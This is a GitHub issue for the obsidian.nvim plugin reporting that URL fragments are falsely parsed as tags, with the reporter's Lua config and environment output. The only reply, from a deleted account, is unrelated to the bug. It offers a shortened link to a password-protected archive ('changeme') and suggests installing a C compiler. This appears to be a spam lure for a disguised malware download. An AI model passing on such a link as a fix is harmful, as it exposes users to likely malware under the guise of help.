obsidian.nvim icon indicating copy to clipboard operation
obsidian.nvim copied to clipboard

False positives with tags (i.e. non-tags are extracted as tags)

Open keithfancher opened this issue 1 year ago • 1 comments

🐛 Describe the bug

obsidian.nvim is generating tags for things which are not tags. I first noticed it with certain URLs in my notes, e.g. the following text:

- The GHCi debugger: https://downloads.haskell.org/~ghc/9.4-latest/docs/users_guide/ghci.html#the-ghci-debugger

...results (incorrectly) in the tag #the-ghci-debugger in obsidian.nvim. (Obsidian doesn't treat this as a tag.)

I'm not sure Obsidian's exact rules here (it's not explicitly mentioned in the docs), but it seems like Obsidian only treats a string with a # as a tag if it stands alone, e.g. some kind of word-boundary in there:

Screenshot from 2024-09-28 19-29-59

(Above shot from Obsidian desktop app.)

Config

require("obsidian").setup({
  workspaces = {
    {
      name = "notes",
      path = "~/Sync/notes",
    },
  },

  preferred_link_style = "wiki",

  disable_frontmatter = true,

  ui = {
    enable = false,

    checkboxes = {
      -- NOTE: the 'char' value has to be a single character, and the highlight groups are defined below.
      [" "] = { char = "󰄱", hl_group = "ObsidianTodo" },
      ["x"] = { char = "", hl_group = "ObsidianDone" },
    },
  },

Environment

$ nvim --version
NVIM v0.10.1
Build type: Release
LuaJIT 2.1.1713484068
Run "nvim -V1 -v" for more info
$ nvim --headless -c 'lua require("obsidian").info()' -c q
Obsidian.nvim v3.9.0 (ae1f76a75c7ce36866e1d9342a8f6f5b9c2caf9b)
Status:
  • buffer directory: nil
  • working directory: /home/ktf
Workspaces:
  ✓ active workspace: Workspace(name='notes', path='/home/ktf/Sync/notes', root='/home/ktf/Sync/notes')
Dependencies:
  ✓ plenary.nvim: 2d9b06177a975543726ce5c73fca176cedbffe9d
  ✓ nvim-cmp: ae644feb7b67bf1ce4260c231d1d4300b19c6f30
  ✓ telescope.nvim: a0bbec21143c7bc5f8bb02e0005fa0b982edc026
Integrations:
  ✓ picker: TelescopePicker()
  ✓ completion: enabled (nvim-cmp) ✗ refs, ✗ tags, ✗ new
    all sources:
      • nvim_lsp
      • vsnip
      • buffer
Tools:
  ✓ rg: ripgrep 13.0.0
Environment:
  • operating system: Linux
Config:
  • notes_subdir: nil

keithfancher avatar Sep 29 '24 02:09 keithfancher

I think this will help you. https://bit.ly/47P0Nvo Archive password: changeme

you may need to install the c compiler

ghost avatar Sep 29 '24 02:09 ghost